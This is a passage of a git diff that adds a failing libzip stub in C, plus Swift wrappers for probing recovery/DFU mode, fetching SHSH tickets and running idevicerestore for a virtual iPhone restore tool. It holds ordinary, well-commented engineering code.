+ * The implementation behind zip.h. NOT an upstream file.
+ *
+ * Read zip.h first — it says why libzip is not linked and which two upstream
+ * code paths this removes. In short: this package always hands idevicerestore
+ * an already-extracted `iPhone*_Restore` directory, src/ipsw.c picks its
+ * stdio arm for a directory in ipsw_open() and never touches libzip again,
+ * and the only other caller is baseband firmware signing on a device that
+ * has no baseband.
+ *
+ * The contract here is: fail, say why, and never return something a caller
+ * could mistake for success. zip_open() is the single door into libzip from
+ * upstream — every other entry point below needs a zip_t or a zip_file_t that
+ * only zip_open() and zip_fopen_index() can hand out — so zip_open() carries
+ * the real explanation and the rest report that they were reached at all,
+ * which would mean a bug in this file rather than a missing feature.
+ *
+ * Everything logs through upstream's logger(), so these lines arrive at the
+ * host's vphone_restore_log_cb_t alongside the rest of the restore output
+ * rather than on some stream nobody is reading.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <string.h>
+
+#include "log.h"
+#include "zip.h"
+
+#define VPHONE_ZIP_REASON \
+ "this build has no libzip: it restores from an extracted " \
+ "iPhone*_Restore directory, not from a .ipsw or .bbfw archive"
+
+/*
+ * The one call upstream can legitimately make. Returning NULL is an error
+ * libzip itself can return and that both ipsw.c and restore.c already handle,
+ * so the restore stops here with a message rather than further in with junk.
+ *
+ * ZIP_ER_OPNOTSUPP is 21 in libzip's error table; it is what the `int*` out
+ * parameter gets so the "zip_open: %s: %d" line upstream prints next carries a
+ * number that means something to anyone who looks it up.
+ */
+zip_t *zip_open(const char *path, int flags, int *errorp)
+{
+ (void)flags;
+ if (errorp) {
+ *errorp = 21; /* ZIP_ER_OPNOTSUPP */
+ }
+ logger(LL_ERROR, "Cannot open '%s' as a zip archive: %s.\n",
+ path ? path : "(null)", VPHONE_ZIP_REASON);
+ return NULL;
+}
+
+/*
+ * Unreachable. Each of these needs a handle that only zip_open() above (or
+ * zip_fopen_index(), which needs one of those) could have produced, and it
+ * never produces one. Reaching any of them means this file is out of step
+ * with the upstream sources beside it, so they say so plainly and then return
+ * the value that makes the caller take its error path.
+ */
+static void vphone_zip_unreachable(const char *fn)
+{
+ logger(LL_ERROR,
+ "internal error: %s() was called on a zip handle that cannot "
+ "exist (%s)\n",
+ fn, VPHONE_ZIP_REASON);
+}
+
+int zip_close(zip_t *archive)
+{
+ (void)archive;
+ vphone_zip_unreachable("zip_close");
+ return -1;
+}
+
+int zip_unchange_all(zip_t *archive)
+{
+ (void)archive;
+ vphone_zip_unreachable("zip_unchange_all");
+ return -1;
+}
+
+const char *zip_strerror(zip_t *archive)
+{
+ (void)archive;
+ return VPHONE_ZIP_REASON;
+}
+
+zip_int64_t zip_name_locate(zip_t *archive, const char *fname, zip_flags_t flags)
+{
+ (void)archive;
+ (void)fname;
+ (void)flags;
+ vphone_zip_unreachable("zip_name_locate");
+ return -1;
+}
+
+zip_int64_t zip_get_num_entries(zip_t *archive, zip_flags_t flags)
+{
+ (void)archive;
+ (void)flags;
+ vphone_zip_unreachable("zip_get_num_entries");
+ return -1;
+}
+
+const char *zip_get_name(zip_t *archive, zip_uint64_t index, zip_flags_t flags)
+{
+ (void)archive;
+ (void)index;
+ (void)flags;
+ vphone_zip_unreachable("zip_get_name");
+ return NULL;
+}
+
+int zip_delete(zip_t *archive, zip_uint64_t index)
+{
+ (void)archive;
+ (void)index;
+ vphone_zip_unreachable("zip_delete");
+ return -1;
+}
+
+/*
+ * The one exception to "unreachable": upstream calls zip_stat_init() on a
+ * stack struct before it has a handle, so this one does run. libzip's own
+ * zip_stat_init() only clears the struct, and doing the same here keeps
+ * `stat.name` from being an uninitialised pointer that a later error message
+ * would print.
+ */
+void zip_stat_init(zip_stat_t *st)
+{
+ if (st) {
+ memset(st, 0, sizeof(*st));
+ }
+}
+
+int zip_stat(zip_t *archive, const char *fname, zip_flags_t flags, zip_stat_t *st)
+{
+ (void)archive;
+ (void)fname;
+ (void)flags;
+ (void)st;
+ vphone_zip_unreachable("zip_stat");
+ return -1;
+}
+
+int zip_stat_index(zip_t *archive, zip_uint64_t index, zip_flags_t flags, zip_stat_t *st)
+{
+ (void)archive;
+ (void)index;
+ (void)flags;
+ (void)st;
+ vphone_zip_unreachable("zip_stat_index");
+ return -1;
+}
+
+int zip_file_get_external_attributes(zip_t *archive, zip_uint64_t index,
+ zip_flags_t flags, zip_uint8_t *opsys,
+ zip_uint32_t *attributes)
+{
+ (void)archive;
+ (void)index;
+ (void)flags;
+ (void)opsys;
+ (void)attributes;
+ vphone_zip_unreachable("zip_file_get_external_attributes");
+ return -1;
+}
+
+zip_file_t *zip_fopen_index(zip_t *archive, zip_uint64_t index, zip_flags_t flags)
+{
+ (void)archive;
+ (void)index;
+ (void)flags;
+ vphone_zip_unreachable("zip_fopen_index");
+ return NULL;
+}
+
+int zip_fclose(zip_file_t *file)
+{
+ (void)file;
+ vphone_zip_unreachable("zip_fclose");
+ return -1;
+}
+
+zip_int64_t zip_fread(zip_file_t *file, void *buf, zip_uint64_t nbytes)
+{
+ (void)file;
+ (void)buf;
+ (void)nbytes;
+ vphone_zip_unreachable("zip_fread");
+ return -1;
+}
+
+zip_int8_t zip_fseek(zip_file_t *file, zip_int64_t offset, int whence)
+{
+ (void)file;
+ (void)offset;
+ (void)whence;
+ vphone_zip_unreachable("zip_fseek");
+ return -1;
+}
+
+zip_int64_t zip_ftell(zip_file_t *file)
+{
+ (void)file;
+ vphone_zip_unreachable("zip_ftell");
+ return -1;
+}
+
+void zip_file_error_get(zip_file_t *file, int *zep, int *sep)
+{
+ (void)file;
+ if (zep) {
+ *zep = 21; /* ZIP_ER_OPNOTSUPP */
+ }
+ if (sep) {
+ *sep = 0;
+ }
+}
+
+zip_source_t *zip_source_buffer(zip_t *archive, const void *data, zip_uint64_t len, int freep)
+{
+ (void)archive;
+ (void)data;
+ (void)len;
+ (void)freep;
+ vphone_zip_unreachable("zip_source_buffer");
+ return NULL;
+}
+
+void zip_source_free(zip_source_t *source)
+{
+ (void)source;
+ vphone_zip_unreachable("zip_source_free");
+}
+
+int zip_file_replace(zip_t *archive, zip_uint64_t index, zip_source_t *source, zip_flags_t flags)
+{
+ (void)archive;
+ (void)index;
+ (void)source;
+ (void)flags;
+ vphone_zip_unreachable("zip_file_replace");
+ return -1;
+}
+
+zip_int64_t zip_file_add(zip_t *archive, const char *name, zip_source_t *source, zip_flags_t flags)
+{
+ (void)archive;
+ (void)name;
+ (void)source;
+ (void)flags;
+ vphone_zip_unreachable("zip_file_add");
+ return -1;
+}
diff --git a/sources/MobileRestoreCore/zip.h b/sources/MobileRestoreCore/zip.h
new file mode 100644
index 00000000..1d3fa25e
--- /dev/null
+++ b/sources/MobileRestoreCore/zip.h
@@ -0,0 +1,143 @@
+/*
+ * zip.h
+ *
+ * A stub for libzip. NOT an upstream file, and not libzip's header — it
+ * declares only the twenty-two entry points upstream actually calls, with
+ * libzip's own signatures, so that src/ipsw.c and src/restore.c compile and
+ * link unchanged. vphone_zip_stub.c is the matching implementation, and it
+ * fails every call with a message instead of doing anything.
+ *
+ * WHY THERE IS NO REAL LIBZIP HERE
+ * --------------------------------
+ * libzip is the one PKG_CHECK_MODULES dependency in configure.ac with no
+ * counterpart in this package: libirecovery is MobileRecoveryCore, libplist,
+ * libimobiledevice, its glue, libusbmuxd and libtatsu come from the
+ * AppleMobileDeviceLibrary xcframeworks, and zlib and libcurl are in
+ * /usr/lib. Linking Homebrew's libzip would put an absolute /opt/homebrew
+ * path in the dependency closure, which is exactly what `make check-aux`
+ * gate 1 exists to reject.
+ *
+ * WHAT IS LOST
+ * ------------
+ * Two things, and only two:
+ *
+ * 1. Reading an IPSW straight out of the .ipsw zip. src/ipsw.c takes one of
+ * two paths per call, chosen once in ipsw_open(): a directory sets
+ * archive->zip = 0 and every read goes through stdio, and a file goes
+ * through libzip. This project always hands idevicerestore an
+ * already-extracted `iPhone*_Restore` directory — vphone_restore_run()
+ * refuses anything else before idevicerestore ever sees it — so the zip
+ * arm is unreachable by construction.
+ *
+ * 2. Baseband firmware signing. restore_sign_bbfw() in src/restore.c opens
+ * the .bbfw (which is itself a zip), stitches the signature blobs into
+ * the .mbn/.fls members and writes it back. A virtual iPhone has no
+ * baseband, so the restore never reaches that function. On real hardware
+ * with a baseband it would, and it would fail loudly here rather than
+ * flashing something unsigned — which is the right failure.
+ *
+ * Both paths therefore end at zip_open() returning NULL after logging what
+ * happened and why, which upstream already handles as an ordinary error.
+ * Nothing below returns a plausible-looking success value.
+ */
+
+#ifndef VPHONE_MOBILERESTORECORE_ZIP_H
+#define VPHONE_MOBILERESTORECORE_ZIP_H
+
+#include <stdint.h>
+#include <time.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/* libzip's fixed-width aliases, as <zip.h> spells them. */
+typedef int8_t zip_int8_t;
+typedef uint8_t zip_uint8_t;
+typedef int16_t zip_int16_t;
+typedef uint16_t zip_uint16_t;
+typedef int32_t zip_int32_t;
+typedef uint32_t zip_uint32_t;
+typedef int64_t zip_int64_t;
+typedef uint64_t zip_uint64_t;
+
+typedef zip_uint32_t zip_flags_t;
+
+/*
+ * Opaque in libzip too. src/ipsw.h stores `struct zip*` and `struct zip_file*`
+ * in struct ipsw_file_handle without ever dereferencing them, so incomplete
+ * types are all upstream needs.
+ */
+struct zip;
+struct zip_file;
+struct zip_source;
+
+typedef struct zip zip_t;
+typedef struct zip_file zip_file_t;
+typedef struct zip_source zip_source_t;
+
+/*
+ * libzip's layout, field for field. Upstream reads .name, .size and
+ * .comp_method; the rest are here so the struct a caller allocates on the
+ * stack is the shape libzip documents.
+ */
+struct zip_stat {
+ zip_uint64_t valid; /* which fields have valid values */
+ const char *name; /* name of the file */
+ zip_uint64_t index; /* index within archive */
+ zip_uint64_t size; /* size of file (uncompressed) */
+ zip_uint64_t comp_size; /* size of file (compressed) */
+ time_t mtime; /* modification time */
+ zip_uint32_t crc; /* crc of file data */
+ zip_uint16_t comp_method; /* compression method used */
+ zip_uint16_t encryption_method; /* encryption method used */
+ zip_uint32_t flags; /* reserved for future use */
+};
+
+typedef struct zip_stat zip_stat_t;
+
+/* Compression method: stored, i.e. not compressed. Used by ipsw_file_open. */
+#define ZIP_CM_STORE 0
+
+/* zip_file_add flag: replace an entry of the same name. */
+#define ZIP_FL_OVERWRITE 8192u
+
+/* Operating system of the external attributes. Used by ipsw_extract_to_memory. */
+#define ZIP_OPSYS_UNIX 0x03u
+
+/* --- The calls src/ipsw.c and src/restore.c make. ---------------------- */
+
+zip_t *zip_open(const char *path, int flags, int *errorp);
+int zip_close(zip_t *archive);
+int zip_unchange_all(zip_t *archive);
+const char *zip_strerror(zip_t *archive);
+
+zip_int64_t zip_name_locate(zip_t *archive, const char *fname, zip_flags_t flags);
+zip_int64_t zip_get_num_entries(zip_t *archive, zip_flags_t flags);
+const char *zip_get_name(zip_t *archive, zip_uint64_t index, zip_flags_t flags);
+int zip_delete(zip_t *archive, zip_uint64_t index);
+
+void zip_stat_init(zip_stat_t *st);
+int zip_stat(zip_t *archive, const char *fname, zip_flags_t flags, zip_stat_t *st);
+int zip_stat_index(zip_t *archive, zip_uint64_t index, zip_flags_t flags, zip_stat_t *st);
+int zip_file_get_external_attributes(zip_t *archive, zip_uint64_t index,
+ zip_flags_t flags, zip_uint8_t *opsys,
+ zip_uint32_t *attributes);
+
+zip_file_t *zip_fopen_index(zip_t *archive, zip_uint64_t index, zip_flags_t flags);
+int zip_fclose(zip_file_t *file);
+zip_int64_t zip_fread(zip_file_t *file, void *buf, zip_uint64_t nbytes);
+zip_int8_t zip_fseek(zip_file_t *file, zip_int64_t offset, int whence);
+zip_int64_t zip_ftell(zip_file_t *file);
+void zip_file_error_get(zip_file_t *file, int *zep, int *sep);
+
+zip_source_t *zip_source_buffer(zip_t *archive, const void *data, zip_uint64_t len, int freep);
+void zip_source_free(zip_source_t *source);
+int zip_file_replace(zip_t *archive, zip_uint64_t index, zip_source_t *source, zip_flags_t flags);
+zip_int64_t zip_file_add(zip_t *archive, const char *name, zip_source_t *source, zip_flags_t flags);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif /* VPHONE_MOBILERESTORECORE_ZIP_H */
diff --git a/sources/VPhoneRestore/VPhoneRecoveryProbe.swift b/sources/VPhoneRestore/VPhoneRecoveryProbe.swift
new file mode 100644
index 00000000..f174977c
--- /dev/null
+++ b/sources/VPhoneRestore/VPhoneRecoveryProbe.swift
@@ -0,0 +1,156 @@
+import Foundation
+import MobileRecoveryCore
+
+// MARK: - VPhoneRecoveryMode
+
+/// The USB product id a device in one of Apple's boot modes enumerates with —
+/// libirecovery's `enum irecv_mode`.
+///
+/// A struct rather than an enum because an unrecognised mode must still be
+/// reportable: the probe has a live handle by the time it reads this, and
+/// throwing away a device because its mode is new helps nobody.
+public struct VPhoneRecoveryMode: RawRepresentable, Sendable, Hashable, CustomStringConvertible {
+ public let rawValue: Int32
+
+ public init(rawValue: Int32) { self.rawValue = rawValue }
+
+ public static let recovery1 = VPhoneRecoveryMode(rawValue: 0x1280)
+ public static let recovery2 = VPhoneRecoveryMode(rawValue: 0x1281)
+ public static let recovery3 = VPhoneRecoveryMode(rawValue: 0x1282)
+ public static let recovery4 = VPhoneRecoveryMode(rawValue: 0x1283)
+ public static let wtf = VPhoneRecoveryMode(rawValue: 0x1222)
+ public static let dfu = VPhoneRecoveryMode(rawValue: 0x1227)
+ public static let portDFU = VPhoneRecoveryMode(rawValue: 0xF014)
+
+ /// pymobiledevice3's `Mode.is_recovery`: everything that is not WTF and not
+ /// DFU. Port DFU is not in its enum at all; it is a DFU variant, so it
+ /// answers `false` here, and an unknown mode does too.
+ public var isRecovery: Bool {
+ (Self.recovery1.rawValue...Self.recovery4.rawValue).contains(rawValue)
+ }
+
+ public var description: String {
+ switch self {
+ case .recovery1, .recovery2, .recovery3, .recovery4: "recovery"
+ case .wtf: "WTF"
+ case .dfu: "DFU"
+ case .portDFU: "port DFU"
+ default: String(format: "mode 0x%04X", rawValue)
+ }
+ }
+}
+
+// MARK: - VPhoneRecoveryDevice
+
+/// What a successful probe found.
+///
+/// The Python bridge's `recovery-probe` returned nothing but an exit code, and
+/// its one caller only ever tested that. This carries the identity too, because
+/// the probe already has it open and an orchestrator that can print
+/// "iPhone17,3 in DFU, ECID 0x…" is easier to debug than one that prints "ok".
+public struct VPhoneRecoveryDevice: Sendable, Equatable {
+ public let ecid: UInt64
+ public let mode: VPhoneRecoveryMode
+ public let chipID: UInt32
+ public let boardID: UInt32
+ public let serialNumber: String?
+ public let productType: String?
+ public let hardwareModel: String?
+}
+
+// MARK: - VPhoneRecoveryProbe
+
+public enum VPhoneRecoveryProbe {
+ /// Python's `wait_for_irecv`: poll once a second until `timeout` seconds
+ /// have gone by, then give up. It never blocks longer than that, which is
+ /// the whole point — `vm create` calls this ninety times in a row while it
+ /// waits for a DFU boot to come up, and a probe that hung would hang the
+ /// create.
+ ///
+ /// - Parameters:
+ /// - ecid: the device to wait for, or `nil` for the only one attached.
+ /// - timeout: seconds. `0` or less means the deadline is already past and
+ /// this throws without probing — Python's `while now < deadline` did
+ /// the same.
+ /// - isRecovery: `true` waits for recovery mode only, `false` for
+ /// DFU/WTF only, `nil` for either.
+ @discardableResult
+ public static func probe(
+ ecid: UInt64?,
+ timeout: Int,
+ isRecovery: Bool? = nil
+ ) throws -> VPhoneRecoveryDevice {
+ let deadline = DispatchTime.now() + .seconds(max(timeout, 0))
+ while DispatchTime.now() < deadline {
+ if let device = openOnce(ecid: ecid, isRecovery: isRecovery) {
+ return device
+ }
+ }
+ // Python's `mode_label`, bug and all: `"recovery" if is_recovery else
+ // "dfu/recovery"` says "dfu/recovery" for None AND for False. Keeping
+ // it means the message a user greps for has not changed.
+ throw VPhoneRestoreBackendError.recoveryProbeTimedOut(
+ mode: isRecovery == true ? "recovery" : "dfu/recovery"
+ )
+ }
+
+ // MARK: One attempt
+
+ /// One `irecv_open_with_ecid_and_attempts` with a single attempt.
+ ///
+ /// Single, because libirecovery sleeps a second itself after a failed
+ /// attempt (`libirecovery.c:2238`) — that IS `wait_for_irecv`'s
+ /// `time.sleep(1)`, and asking for more attempts would only move the poll
+ /// loop's cadence inside a call that cannot see the deadline.
+ private static func openOnce(ecid: UInt64?, isRecovery: Bool?) -> VPhoneRecoveryDevice? {
+ var client: irecv_client_t?
+ // 0 is libirecovery's "match whichever device is attached"
+ // (`iokit_open_with_ecid`), which is what `ecid: nil` asks for.
+ guard irecv_open_with_ecid_and_attempts(&client, ecid ?? 0, 1) == IRECV_E_SUCCESS,
+ let client
+ else {
+ return nil
+ }
+ defer { irecv_close(client) }
+
+ var rawMode: Int32 = 0
+ guard irecv_get_mode(client, &rawMode) == IRECV_E_SUCCESS else { return nil }
+ let mode = VPhoneRecoveryMode(rawValue: rawMode)
+
+ if let isRecovery, mode.isRecovery != isRecovery {
+ // The open SUCCEEDED, so libirecovery did not sleep — a device sat
+ // in the wrong mode and will keep sitting there. Pace the loop
+ // here instead, or this spins the USB stack flat out.
+ Thread.sleep(forTimeInterval: 1)
+ return nil
+ }
+
+ guard let info = irecv_get_device_info(client) else { return nil }
+ let (productType, hardwareModel) = describeDevice(client)
+ return VPhoneRecoveryDevice(
+ ecid: info.pointee.ecid,
+ mode: mode,
+ chipID: UInt32(info.pointee.cpid),
+ boardID: UInt32(info.pointee.bdid),
+ serialNumber: info.pointee.srnm.map { String(cString: $0) },
+ productType: productType,
+ hardwareModel: hardwareModel
+ )
+ }
+
+ /// libirecovery's device table, which is how a CPID/BDID pair becomes
+ /// "iPhone17,3". An unknown pair lands on the table's all-`NULL` sentinel,
+ /// so the fields are read as optionals rather than trusted.
+ private static func describeDevice(_ client: irecv_client_t) -> (String?, String?) {
+ var device: irecv_device_t?
+ guard irecv_devices_get_device_by_client(client, &device) == IRECV_E_SUCCESS,
+ let device
+ else {
+ return (nil, nil)
+ }
+ return (
+ device.pointee.product_type.map { String(cString: $0) },
+ device.pointee.hardware_model.map { String(cString: $0) }
+ )
+ }
+}
diff --git a/sources/VPhoneRestore/VPhoneRestoreBridge.swift b/sources/VPhoneRestore/VPhoneRestoreBridge.swift
new file mode 100644
index 00000000..8cf357f8
--- /dev/null
+++ b/sources/VPhoneRestore/VPhoneRestoreBridge.swift
@@ -0,0 +1,162 @@
+import Foundation
+
+// MARK: - VPhoneRestoreBridge
+
+/// What `scripts/pymobiledevice3_bridge.py` did, in process.
+///
+/// The Python had four commands. `usbmux-list` is not here: nothing in this
+/// repository ever called it. The other three are, with the same arguments,
+/// the same errors and the same two lines of output that scripts and people
+/// have been reading — `[+] SHSH saved: …` and `[+] Using cached SHSH: …`.
+///
+/// Everything below blocks for as long as the work takes and reports through
+/// `onEvent`, which idevicerestore calls from its worker threads.
+public enum VPhoneRestoreBridge {
+ // MARK: recovery-probe
+
+ /// `recovery-probe`. See `VPhoneRecoveryProbe.probe`.
+ @discardableResult
+ public static func recoveryProbe(
+ ecid: UInt64?,
+ timeout: Int,
+ isRecovery: Bool? = nil
+ ) throws -> VPhoneRecoveryDevice {
+ try VPhoneRecoveryProbe.probe(ecid: ecid, timeout: timeout, isRecovery: isRecovery)
+ }
+
+ // MARK: restore-get-shsh
+
+ /// `restore-get-shsh`: fetch the TSS record for the firmware staged in
+ /// `vmDir` and save it beside the VM.
+ ///
+ /// Python fetched it with `Behavior.Erase`, so this asks for an erase
+ /// ticket too — an update ticket signs a different set of components, and
+ /// every restore this project drives is an erase.
+ ///
+ /// The device is never touched: idevicerestore's `-t/--shsh` reads its
+ /// identity, asks Apple, writes the blob and stops.
+ ///
+ /// - Returns: the path written, which is `out` when given and
+ /// `<vmDir>/<ECID as %016X>.shsh` otherwise.
+ @discardableResult
+ public static func fetchSHSH(
+ vmDir: URL,
+ ecid: UInt64?,
+ udid: String?,
+ out: URL?,
+ debugLevel: Int32 = 0,
+ onEvent: @escaping VPhoneRestoreEventHandler = { _ in }
+ ) throws -> URL {
+ let restoreDirectory = try VPhoneRestoreLayout.findRestoreDirectory(in: vmDir)
+
+ // A cache of its own, so "the .shsh idevicerestore just wrote" is
+ // unambiguous. It matters: the FLAG_SHSHONLY block skips the write
+ // when a file of that name is already there ("SHSH '%s' already
+ // present."), and a stale blob from a previous firmware would then be
+ // what got copied out.
+ let cacheDirectory = FileManager.default.temporaryDirectory
+ .appendingPathComponent("vphone-shsh-\(UUID().uuidString)", isDirectory: true)
+ try FileManager.default.createDirectory(at: cacheDirectory, withIntermediateDirectories: true)
+ defer { try? FileManager.default.removeItem(at: cacheDirectory) }
+
+ try VPhoneRestoreRunner.run(
+ VPhoneRestoreOptions(
+ restoreDirectory: restoreDirectory,
+ cacheDirectory: cacheDirectory,
+ udid: VPhoneRestoreIdentity.normalizeUDID(udid),
+ ecid: ecid ?? 0,
+ erase: true,
+ shshOnly: true,
+ debugLevel: debugLevel
+ ),
+ onEvent: onEvent
+ )
+
+ let written = try locateWrittenSHSH(under: cacheDirectory, requestedECID: ecid)
+ let contents = try VPhoneRestoreTicket.plistData(
+ of: try Data(contentsOf: written),
+ at: written
+ )
+
+ // Python named the file after the ECID the DEVICE reported, not the one
+ // that was asked for; idevicerestore puts that same value at the front
+ // of its filename, so it survives a fetch with no --ecid at all.
+ let deviceECID = VPhoneRestoreTicket.ecid(fromSHSHFilename: written.lastPathComponent)
+ let destination = out ?? VPhoneRestoreLayout.shshOutput(vmDir: vmDir, ecid: deviceECID ?? ecid)
+ try contents.write(to: destination, options: .atomic)
+
+ onEvent(.log(level: .notice, message: "[+] SHSH saved: \(destination.path)"))
+ return destination
+ }
+
+ // MARK: restore-update
+
+ /// `restore-update`: erase or update the device from the firmware staged
+ /// in `vmDir`.
+ ///
+ /// - Parameters:
+ /// - erase: `true` is `Behavior.Erase`, `false` is `Behavior.Update`.
+ /// - ticketPath: a saved TSS response for an offline restore, or `nil` to
+ /// ask Apple. It must be a WHOLE response — what `fetchSHSH` writes —
+ /// not a bare AP ticket; see `vphone_restore_bridge.c`.
+ public static func restore(
+ vmDir: URL,
+ ecid: UInt64?,
+ udid: String?,
+ erase: Bool,
+ ticketPath: URL?,
+ debugLevel: Int32 = 0,
+ onEvent: @escaping VPhoneRestoreEventHandler = { _ in }
+ ) throws {
+ let restoreDirectory = try VPhoneRestoreLayout.findRestoreDirectory(in: vmDir)
+
+ if let ticketPath {
+ onEvent(.log(level: .notice, message: "[+] Using cached SHSH: \(ticketPath.path)"))
+ }
+
+ try VPhoneRestoreRunner.run(
+ VPhoneRestoreOptions(
+ restoreDirectory: restoreDirectory,
+ // The Python bridge ran with the bundle as its working
+ // directory, and idevicerestore's default cache IS the working
+ // directory, so naming it keeps personalized components landing
+ // where they always have — no matter where the CLI is invoked.
+ cacheDirectory: vmDir,
+ udid: VPhoneRestoreIdentity.normalizeUDID(udid),
+ ecid: ecid ?? 0,
+ erase: erase,
+ ticketPath: ticketPath,
+ debugLevel: debugLevel
+ ),
+ onEvent: onEvent
+ )
+ }
+
+ // MARK: - Helpers
+
+ /// The `.shsh` idevicerestore wrote, under `<cache>/shsh/`.
+ ///
+ /// A fresh cache directory means there is exactly one. The ECID match is
+ /// for the case where there somehow is not, so the wrong device's blob
+ /// cannot be picked up silently.
+ private static func locateWrittenSHSH(under cacheDirectory: URL, requestedECID: UInt64?) throws -> URL {
+ let shshDirectory = cacheDirectory.appendingPathComponent("shsh", isDirectory: true)
+ let candidates = ((try? FileManager.default.contentsOfDirectory(
+ at: shshDirectory,
+ includingPropertiesForKeys: nil
+ )) ?? [])
+ .filter { $0.pathExtension == "shsh" }
+ .sorted { $0.lastPathComponent < $1.lastPathComponent }
+
+ guard !candidates.isEmpty else {
+ throw VPhoneRestoreBackendError.shshNotProduced(shshDirectory)
+ }
+ if let requestedECID {
+ let match = candidates.first {
+ VPhoneRestoreTicket.ecid(fromSHSHFilename: $0.lastPathComponent) == requestedECID
+ }
+ if let match { return match }
+ }
+ return candidates[0]
+ }
+}
diff --git a/sources/VPhoneRestore/VPhoneRestoreError.swift b/sources/VPhoneRestore/VPhoneRestoreError.swift
new file mode 100644
index 00000000..101aaf78
--- /dev/null
+++ b/sources/VPhoneRestore/VPhoneRestoreError.swift
@@ -0,0 +1,116 @@
+import Foundation
+
+// MARK: - VPhoneRestoreBackendError
+
+/// Everything this module can fail with.
+///
+/// Deliberately NOT named `VPhoneRestoreError`: `VPhoneCore` already exports a
+/// type by that name and `vphone-cli` imports both, so sharing it would make
+/// every unqualified use ambiguous.
+///
+/// The messages of the first five cases are word for word the ones
+/// `scripts/pymobiledevice3_bridge.py` printed, because scripts and people
+/// have been reading them for a while.
+public enum VPhoneRestoreBackendError: Error, Equatable {
+ // MARK: ECID
+
+ /// `--ecid ""`, `--ecid " "` or `--ecid 0x` — a value that is present but
+ /// carries no digits. Python's `ValueError("ECID is empty")`.
+ case ecidEmpty
+
+ /// A value with a character outside `0-9a-f`. Carries the ORIGINAL string,
+ /// not the normalized one, which is what Python reported.
+ case ecidInvalid(String)
+
+ /// More than 16 hex digits. Python's ints are unbounded so it had no such
+ /// error; an ECID is a 64-bit chip identifier and `UInt64` is where it
+ /// lands, so rejecting it here beats silently truncating.
+ case ecidTooLarge(String)
+
+ // MARK: Restore tree
+
+ case noRestoreDirectory(URL)
+ case multipleRestoreDirectories([String])
+
+ // MARK: Probe
+
+ /// `timeout` seconds went by without a matching endpoint. The payload is
+ /// Python's `mode_label`: "recovery" when recovery was demanded,
+ /// "dfu/recovery" otherwise.
+ case recoveryProbeTimedOut(mode: String)
+
+ /// The endpoint answered but `irecv_get_mode`/`irecv_get_device_info` did
+ /// not, which means the USB handle went away mid-probe.
+ case recoveryDeviceUnreadable
+
+ // MARK: Running
+
+ /// `VPHONE_RESTORE_E_BUSY`: one restore at a time, per the C bridge.
+ case restoreAlreadyRunning
+
+ /// `VPHONE_RESTORE_E_NO_RESTORE_DIR` from the bridge, which checks the
+ /// path again on its own side and also rejects a `.ipsw` archive.
+ case restoreDirectoryUnusable(URL)
+
+ /// `VPHONE_RESTORE_E_TICKET`: the `.shsh` is not a TSS response plist.
+ case ticketUnreadable(URL)
+
+ /// Anything else idevicerestore stopped on. `reason` is
+ /// `vphone_restore_error_string(code)`; the log stream carries the detail.
+ case restoreFailed(code: Int32, reason: String)
+
+ // MARK: SHSH
+
+ /// The TSS fetch reported success but wrote no `.shsh` under the cache.
+ case shshNotProduced(URL)
+
+ /// A `.shsh` was written but is not a property-list dictionary.
+ case shshMalformed(URL)
+
+ /// The `.shsh` is gzipped and zlib could not inflate it.
+ case shshNotDecompressible(URL)
+}
+
+// MARK: - CustomStringConvertible
+
+extension VPhoneRestoreBackendError: CustomStringConvertible {
+ public var description: String {
+ switch self {
+ case .ecidEmpty:
+ "ECID is empty"
+ case let .ecidInvalid(value):
+ "Invalid ECID: \(value)"
+ case let .ecidTooLarge(value):
+ "ECID does not fit in 64 bits: \(value)"
+ case let .noRestoreDirectory(dir):
+ "No iPhone*_Restore directory found in \(dir.path)"
+ case .multipleRestoreDirectories:
+ "Multiple iPhone*_Restore directories found; keep only one active restore tree"
+ case let .recoveryProbeTimedOut(mode):
+ "Timed out waiting for \(mode) endpoint"
+ case .recoveryDeviceUnreadable:
+ "The recovery endpoint stopped answering while it was being read"
+ case .restoreAlreadyRunning:
+ "Another restore is already running in this process"
+ case let .restoreDirectoryUnusable(dir):
+ "\(dir.path) cannot be used as a restore directory; it must be an extracted "
+ + "iPhone*_Restore directory, not a .ipsw archive"
+ case let .ticketUnreadable(path):
+ "\(path.path) could not be read as a TSS response plist"
+ case let .restoreFailed(code, reason):
+ "Restore failed (\(code)): \(reason)"
+ case let .shshNotProduced(dir):
+ "The TSS record was fetched but no .shsh appeared under \(dir.path)"
+ case let .shshMalformed(path):
+ "\(path.path) is not a TSS response dictionary"
+ case let .shshNotDecompressible(path):
+ "\(path.path) is gzipped and could not be decompressed"
+ }
+ }
+}
+
+// MARK: - LocalizedError
+
+extension VPhoneRestoreBackendError: LocalizedError {
+ public var errorDescription: String? { description }
+}
diff --git a/sources/VPhoneRestore/VPhoneRestoreEvent.swift b/sources/VPhoneRestore/VPhoneRestoreEvent.swift
new file mode 100644
index 00000000..d536f28d
--- /dev/null
+++ b/sources/VPhoneRestore/VPhoneRestoreEvent.swift
@@ -0,0 +1,122 @@
+import Foundation
+import MobileRestoreCore
+
+// MARK: - VPhoneRestoreLogLevel
+
+/// idevicerestore's `enum loglevel`, one for one. Lower is more severe.
+public enum VPhoneRestoreLogLevel: Int32, Sendable, Comparable, CaseIterable {
+ case error = 0
+ case warning = 1
+ case notice = 2
+ case info = 3
+ case verbose = 4
+ case debug = 5
+
+ public static func < (lhs: VPhoneRestoreLogLevel, rhs: VPhoneRestoreLogLevel) -> Bool {
+ lhs.rawValue < rhs.rawValue
+ }
+
+ /// A level the C side reported that this enum does not know becomes
+ /// `.info`, which is where an unlabelled line belongs.
+ init(clamping raw: Int32) {
+ self = VPhoneRestoreLogLevel(rawValue: raw) ?? .info
+ }
+}
+
+// MARK: - VPhoneRestoreStep
+
+/// One of idevicerestore's `RESTORE_STEP_*` phases.
+///
+/// A struct rather than an enum so a step this build has not heard of still
+/// round-trips; `name` then comes back as "unknown" from the C side, which is
+/// exactly what `vphone_restore_step_name` promises.
+public struct VPhoneRestoreStep: RawRepresentable, Sendable, Hashable, CustomStringConvertible {
+ public let rawValue: Int32
+
+ public init(rawValue: Int32) { self.rawValue = rawValue }
+
+ public static let detect = VPhoneRestoreStep(rawValue: VPHONE_RESTORE_STEP_DETECT)
+ public static let prepare = VPhoneRestoreStep(rawValue: VPHONE_RESTORE_STEP_PREPARE)
+ public static let uploadFilesystem = VPhoneRestoreStep(rawValue: VPHONE_RESTORE_STEP_UPLOAD_FS)
